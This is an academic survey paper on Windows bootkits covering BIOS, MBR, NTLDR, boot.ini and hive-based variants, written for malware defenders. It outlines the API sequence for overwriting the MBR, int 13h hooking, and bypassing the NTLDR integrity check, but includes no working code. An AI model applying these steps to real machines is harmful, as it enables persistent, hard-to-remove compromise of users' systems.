An Overview of Bootkit Attacking Approaches

Xiang Li 1,2 Yan Wen 1,2 MinHuan Huang1,2 Qiang Liu 1,2 1Beijing Institute of System Engineering,

Beijing, China 2National Key Laboratory of Science and Technology on Information

System Security Beijing, China

lixiang8358@hotmail.com, celestialwy@126.com, huangmh06@mails.tsinghua.edu.cn, liuqiang_xjtu@163.com

Abstract—Bootkit, as an innovative rootkit technology, transfer its storage location from the file system to the hardware store, and activates itself while or even before the operating system kernel is loaded. Therefore, bootkit can tamper the operating system and control the whole computer system. Compared to classic malware, it achieves a more powerful capability of hiding and controlling. This paper takes an overview of existing various bootkit technologies and summarizes their technical characteristics. This opens a door to the malware defenders for preventing the computer systems from bootkit.

Keywords-Malware; bootkit; operating system

I. INTRODUCTION Examining existing software/computer attack

technologies, the backdoor attack is a mainly used one for hackers to steal confidential information from the compromised computers. In order to continuously keep the privileged access rights on the sacrificed computers, the malware must try it best to hide it presence from the resource enumeration utilities commonly used by computer users and malware detectors. As an advanced hidden technology, rootkit has been widely used and developed in recent years.

Bootkit is the most stubborn rootkit at present stage. Although the function of bootkit is not different from rootkit, it extends their habitats from the traditional operating system files to the hardware BIOS (Basic Input Output System), MBR (Master Boot Record), etc. In addition, its launch time is the same as the operating system kernel, or even earlier. So, bootkit can gain control of the whole computer earlier than operating system and achieve greater concealment. It can be considered as a senior rootkit.

In this paper, we explores existing bootkit technologies and summarizes their technical characteristics. The malware defender could utilize this information to detect the bootkit discussed in this paper. In view of the prevalent combination of Windows and Intel on the PC platform, this paper puts the emphasis on the Windows bootkit.

The rest of the paper is organized as follows. Section 2 discusses the process of Windows kernel loading and initializing. In section 3, we analyze current popular bootkit examples. We summarize the main features of bootkit in the last section.

II. WINDOWS KERNEL LOADING AND INITILIZING PROCESS

After pressing the power switch, the computer runs the POST (PowerOn Self Test) to detect the memory of system

and status of other hardware equipment at first. The BIOS will complete the basic hardware configuration. Then, the boot sector of system partition will be read and loaded by the MBR. The root directory will be read by boot sector and the NTLDR will be loaded. NTLDR read BOOT.INI, prompt the boot menu, and then load Ntoskrnl.exe, Bootvid. dll, Hal. dll and "guide - start" device driver. Following this, NTLDR will call Ntdetect.com to detect the hardware, especially the SCSI hard drives which do not use Ntbootdd.sys instead of BIOS as disk I/O driver. After that, the Ntoskrnl.exe will initialize the Windows executable subsystem by OSLOADER.exe, and also initialize the "guide - start" & "system - start" device driver to prepare for running native applications and completing the Windows system kernel loading and initializing. Figure 1 shows the booting sequence of Windows.

BIOS MBR Boot sector

Sumodule

OsLoader.exe

Ntoskrnl

kernel and HALimages Ntoskrnl.exe/Hal.dll

\Winnt\System32\Config\System

boot drivers

Ntdetect.com Boot.ini

Ntbootdd.sys

read load

Load Ntldr

16-bitreal mode

32-bit/64-bitprotected mode

Load/execute

call

Figure 1. Windows booting sequence

III. ANALYSIS OF WINDOWS BOOTKIT Bootkit hides itself via tampering the kernel and

operating system boot process. Traditional rootkit is mainly promoting privilege when the system is booting, while bootkit is stored in MBR and exists in the whole boot process of the system. This idea was firstly proposed by the researchers in eEye Digital security corporation in 2005 [1] when they are studying how to utilize the BIOS while the system booting. Their project named with “BootRoot” demonstrated how to access the code of Windows kernel when the system is booting.

In April 2007, the researchers coming from India NV laboratory published their boot code named “VBootkit” [2] which can compromise the Vista kernel. Although there is

2011 Seventh International Conference on Mobile Ad-hoc and Sensor Networks

978-0-7695-4610-0/11 $26.00 © 2011 IEEE

DOI 10.1109/MSN.2011.19

429

2011 Seventh International Conference on Mobile Ad-hoc and Sensor Networks

978-0-7695-4610-0/11 $26.00 © 2011 IEEE

DOI 10.1109/MSN.2011.19

428

2011 Seventh International Conference on Mobile Ad-hoc and Sensor Networks

978-0-7695-4610-0/11 $26.00 © 2011 IEEE

DOI 10.1109/MSN.2011.19

428

some controversy about bootkit and VBootkit, but the newest VBootkit really contains the code that can be executed in the boot process of Microsoft Vista. No matter what boot platform being used, the bootkit technology always tampers the system booting process. According to the different stage in boot process, the bootkit technologies can be classified into BIOS-based bootkit, MBR-based bootkit, NTLDR-based bootkit and others. The rest of this section will analyze the bootkit implementation details and characteristics of current bootkit technologies.

A. BIOS-Based Bootkit BIOS is a set of program written into the ROM chipset

on the mainboard of the computer. It contains the most important basic input and output program, system configure information, self-test program and system self-starting program. Its main function is providing the lowest and the most direct hardware configuration and control for the computer. It is a bridge between software program and hardware device.

The BIOS-based bootkit is mainly written in the form of ISA module. Then, it can be flashed into BIOS. An article named ”BIOS RootKit: Welcome Home, My Lord” has been published by IceLord (nickname) in 2007 [3]. In this article, IceLord described the implementation details about the BIOS rootkit, as well as showing an binary demonstration file named IceLord.exe. With an in-depth analysis, the IceLord.exe is composed of three files: � IceLord.exe, an executable files. It is a PE executable

file in Windows and can read and write BIOS. � IO_HLPER.SYS, Windows driver file. It exists in

IceLord.exe in form of an additional resource, and can help IceLord.exe to flash BIOS.

� leaving.bin, module file. It is an ISA module file, and is the most important part of the BIOS bootkit. It exists in IceLord.exe as an additional resource as well.

IceLord.exe is a master scheduler running in Windows environment. Firstly, it releases leaving.bin and IO_HLPER.SYS. Secondly, the IceLord.exe abstracts the ROM file from BIOS with the assistance of IO_HLPER.SYS and analyzes the driver files xxxx.sys that needs to be inserted by user. If there is no file, the default driver file protector.sys will be inserted into leaving.bin. After that, the core module leaving.bin which is embedded in the protector.sys will be inserted into the ROM file. At last, this ROM file will be flashed into the BIOS chipset, and the embedding of the BIOS is complete. It should control the executing process by first hooking int 19h and then hooking int 13h to make sure the driver will be installed before the operating system loading. Figure 2 shows the running process of IceLord.exe.

B. MBR-based Bootkit MBR, as the first sector on the hard disk, is mainly

responsible for searching the boot partition information. MBR-based bootkit guides the execution flow to bootkit mainly by modifying the MBR. At present, two implemented bootkit using this kind of technology are eEye BootRoot and VBootkit.

Any location of the hard drive can be directly written or read through disk operations in Windows operating systems. Therefore, we can directly modify the boot information of the MBR through corresponding Windows API function. Figure 3 shows the process of modifying MBR on Windows platform.

(1)The operation opening the driver uses the function CreateFile(), which opens the input objects from the parameters. If it successfully returns a handle to the object, the object of the opened driver here should use \\\\.\\PHYSICALDRIVER0 as parameters.

(2)In order to avoid conflicts races of driver operation, we can invoke the function DeviceIoControl () using FSCTL_LOCK_VOLUME as parameters to lock drivers, making sure that driver operations are mutual exclusive from each other.

(3)Use function WriteFile () to write constructed MBR information.

(4)After writing MBR information, then call function DeviceIoControl () using FSCTL_UNLOCK_VOLUME as parameters releases the lock set on the driver in step (2).

(5)Release the driver handle gained in step (1).

IceLord.exe

Release filesIO_HLPER.SYS leaving.bin

MmMapIoSpace

Ke386IoSetAccessProcess

Ke386SetIoAccessMap

As a boot file waiting for master scheduler

loading

Flash leaving.bin to BIOS

running leaving.bin

Hook IVT

Hook NTLDR

Hook Boot Drivers

END

Figure 2. The running porcess of IceLord.exe

After modifying the MBR, we can execute arbitrary code in real mode before operating system. However, since the MBR inherently has the limitations of only 446-bytes, it is impossible to write all the code into MBR. At the time when

430429429

the operating system has not yet started and certainly no file system is mounted, we have to give up the control of CPU and transfer it to the normal Windows boot process in order to achieve more advanced features. So, both the Eye BootRoot and VBootkit hook an int13h interruption, i.e. a way to hook the disk I/O operations, obtaining the opportunity of execution once again when the kernel is running OSloader.exe to run the following code.

In general, BootRoot and Vbootkit both modify the MBR code at first, making control flow shift to BootRoot and VBootkit itself during MBR boot, both of which use user level functions such as CreateFile(), WriteFIle() and so on. Then, they both hook the int 13h interrupt of BIOS, so that can conveniently perform the bootkit operations. When hooking int 13h interrupt, they patch OSLoader and winload respectively in order to give the control back to bootkit during the execution process of OSLoader and winload. In OSLoader and winload, we use a direct “call xxxxxxxx” to give the control back to bootkit code, where the “xxxxxxxx” is the location in memory where the code of bootkit itself is located.

CreateFile()Open Driver

DeviceIoControl()Lock Drivers

WriteFile()Write Constructed MBR Information

DeviceIoControl()Release the Lock of the

Drivers

CloseHandle():Release the Driver handle

Figure 3. Modifying MBR process on Windows

C. NTLDR-based Bootkit NTLDR-based bootkit was firstly published by inghu on

security focus in 2008. This kind of bootkit technology make use of the important role of the NTLDR file in guiding in the Windows operating system. The implementation process does not involve any modification of hardware, thus avoiding writing codes respectively for various types of peripherals and increasing the versatility. What’s more, the function of NTLDR is loading files of Windows kernel, therefore, NTLDR is closest to the Windows kernel, which will facilitate operating the kernel.

NTLDR consists of two parts. One part called Su Module (Startup) is assembly code of 16-bit; the other one called OSLoader is a PE file. Su Module is at the head of NTLDR, followed with OSLoader. The main function of Su Module is preparing memory environment including the GDT and IDT for the OSLoader, opening the protected mode (not paged) and moving OSLoader according to virtual address at compile-time, and so on. In multi-processor version of the NTLDR, Su Module also needs to detect integrity of the OSLoader. If any modification being detected, the system will display "NTLDR is corrupt. The system cannot boot.” and fail to boot.

In order to bypass the integrity verification, the NTLDR-based bootkit uses a Su Module without checkout as a replacement. So, the Su Module will no longer checking the OSLoader’s integrity. Then, such bootkit puts all the bootkit code into the OSLoader. To determine where the OSloader.exe being loaded in memory, bootkit will search the signature such as “MZ” and “PE” to find the location, and hook the OSLoader. Thus, in the boot process of NTLDR, the bootkit have been loaded into memory and executed.. In order to avoid being deleted, the bootkit should hook the parameter LoaderBlock of the KiSystemStartup() function which is the entry point of the kernel. Thus, it can find free physical memory to store the code of the bootkit itself before the kernel being loaded, as well as modifying the marking information to avoid the space being used or released. In the end, the bootkit will be stored in memory continuously when being mapped from physical memory to virtual memory.

D. Other Bootkit Technologies Besides the above bootkit technologies, there are some

other bootkit such as boot.ini-based bootkit, hive-based bootkit, etc.

The boot.ini-based bootkit commonly makes use of accessing the configuration information in boot.ini and cheat Windows kernel program into loading Ntbootdd.sys automatically during the Windows boot process. Consequently, the bootkit takes up the control of CPU. The hive-based bootkit utilizes the loophole in detecting the hive file. When the hive file is destroyed or deleted, system will load the backup file. Then, the bootkit can modify this backup file by inserting the driver service items of bootkit. When the file being loaded, the bootkit driver can be loaded and won’t be verified.

IV. CONCLUSIONS With the detailed analysis about existing bootkit above,

we can conclude four advantages of bootkit technologies. � Boot earlier. Bootkit always gains privileges during the

boot process of the computer or the loading process of the operating system. The defending tools such as anti-virus and firewall can not boot as early as bootkit so that it can theoretically do everything at this stage.

� Executing independent on hard disk. It can make malware detectors and hard disk formatting useless. For example, the main part of the BIOS-based bootkit is

431430430

stored in BIOS. Formatting the hard disk cannot clear bootkit.

� Executing independent on operating systems. This means it can not be detected by the way of hooking operating system functions.

� Staying in every stage during boot process. Usually, the bootkit program will be stored in memory covertly so that it can continuously stick itself in memory.

REFERENCES

[1] e. D. S. Corporation. (2005, 25/09). BootRoot, http://www.eeye.com/Resources/Security-Center/Research/Tools/BootRoot.

[2] N. Kumar and V. Kumar, "Vbootkit: Compromising Windows Vista Security," in Black Hat Europe 2007 (Blackhat'07), 2007.

[3] IceLord. (2007, 20/09). BIOS RootKit: Welcome Home, My Lord, http://blog.csdn.net/icelord/article/details/1604884.

432431431